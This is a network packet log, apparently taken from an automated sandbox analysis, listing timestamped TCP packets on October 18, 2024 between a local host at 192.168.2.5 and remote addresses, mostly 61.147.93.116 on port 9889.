Oct 18, 2024 23:46:17.502006054 CEST	49721	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:17.502022982 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:17.535419941 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.535438061 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.535454035 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.535598993 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.536201000 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.536250114 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.536259890 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.536273956 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.536289930 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.536293030 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.536304951 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.536304951 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.536323071 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.536346912 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.536562920 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.536621094 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.536623001 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.536638975 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.536665916 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.536680937 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.536926985 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.536952019 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.536967039 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.536976099 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.536990881 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.537009001 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.566065073 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.566097975 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.566133022 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.566148996 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.566165924 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.566174030 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.616929054 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.616961002 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.617016077 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.617069006 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.617100954 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.617110014 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.617136955 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.617166042 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.617197037 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.617417097 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.617481947 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.617491961 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.617542028 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.617604971 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.617645025 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.617665052 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.617679119 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.617693901 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.617728949 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.617898941 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.617954016 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.618021011 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.618052959 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.618074894 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.618088007 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.618109941 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.618120909 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.618155003 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.618185997 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.618206978 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.652323961 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.652364969 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.652383089 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.652426958 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.652496099 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.652508974 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.652544022 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.652592897 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.652641058 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.653368950 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.653423071 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.653430939 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.653448105 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.653464079 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.653474092 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.653481007 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.653501034 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.653525114 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.653533936 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.653565884 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.653573036 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.653584003 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.653600931 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.653609037 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.653620958 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.653640032 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.654074907 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.654158115 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.654190063 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.654217005 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.683278084 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.683312893 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.683350086 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.683348894 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.683370113 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.683427095 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.733972073 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.734019041 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.734077930 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.734088898 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.734107018 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.734108925 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.734122992 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.734138012 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.734152079 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.734153032 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.734170914 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.734188080 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.734230995 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.734900951 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.734961033 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.734966040 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.734987020 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.735002041 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.735028982 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.735029936 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.735047102 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.735074043 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.735093117 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.735246897 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.735264063 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.735280037 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.735304117 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.735305071 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.735321045 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.735327959 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.735358953 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.769378901 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.769409895 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.769435883 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.769489050 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.769526005 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.770108938 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.770169020 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.770195007 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.770215988 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.770237923 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.770246983 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.770262957 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.770267010 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.770286083 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.770287037 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.770303011 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.770322084 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.770334959 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.770654917 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.770689964 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.770713091 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.770720005 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.770750046 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.770760059 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.771136045 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.771159887 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.771183014 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.771188021 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.771207094 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.771224022 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.799973965 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.800045013 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.800071001 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.800098896 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.800112963 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.800149918 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.800153017 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.800204039 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.850825071 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.850852013 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.850868940 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.850878954 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.850887060 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.850910902 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.850929022 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.850934029 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.850979090 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.851124048 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.851150036 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.851165056 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.851170063 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.851182938 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.851197958 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.851391077 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.851449966 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.851464033 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.851466894 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.851492882 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.851500988 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.851505995 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.851517916 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.851533890 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.851548910 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.851567030 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.851577044 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.852346897 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.852374077 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.852397919 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.852400064 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.852410078 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.852420092 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.852436066 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.852437019 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.852471113 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.852483988 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.886318922 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.886363029 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.886375904 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.886380911 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.886404991 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.886414051 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.886943102 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.886972904 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.887001991 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.887013912 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.887022972 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.887062073 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.887080908 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.887100935 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.887118101 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.887124062 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.887149096 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.887507915 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.887536049 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.887552023 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.887563944 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.887568951 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.887577057 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.887586117 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.887587070 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.887603998 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.887624025 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.917220116 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.917262077 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.917274952 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.917301893 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.917316914 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.917332888 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.917409897 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.917409897 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.917409897 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.917409897 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.967870951 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.967940092 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.967962980 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.967981100 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.968009949 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.968028069 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.968118906 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.968135118 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.968149900 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.968164921 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.968179941 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.968200922 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.968214989 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.968230009 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.968245983 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.968260050 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.968264103 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.968270063 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.968287945 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.968308926 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.968329906 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.968375921 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.968776941 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.968822002 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.968825102 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.968837976 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.968868017 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.968878984 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.969084024 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.969099998 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.969115973 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.969130993 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.969135046 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.969149113 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.969177961 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.969512939 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.969559908 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.969574928 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.969619036 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.003249884 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.003290892 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.003307104 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.003345013 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.003360033 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.004101992 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.004118919 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.004134893 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.004174948 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.004193068 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.004204988 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.004215956 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.004231930 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.004247904 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.004261971 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.004322052 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.004786968 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.004843950 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.004874945 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.004905939 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.005430937 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.005449057 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.005464077 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.005485058 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.005495071 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.034291029 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.034334898 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.034357071 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.034373999 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.034392118 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.034425020 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.034482956 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.084981918 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.085004091 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.085038900 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.085055113 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.085078955 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.085093021 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.085107088 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.085120916 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.085136890 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.085140944 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:18.085155010 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:18.085190058 CEST	49720	9889	192.168.2.5	61.147.93.116
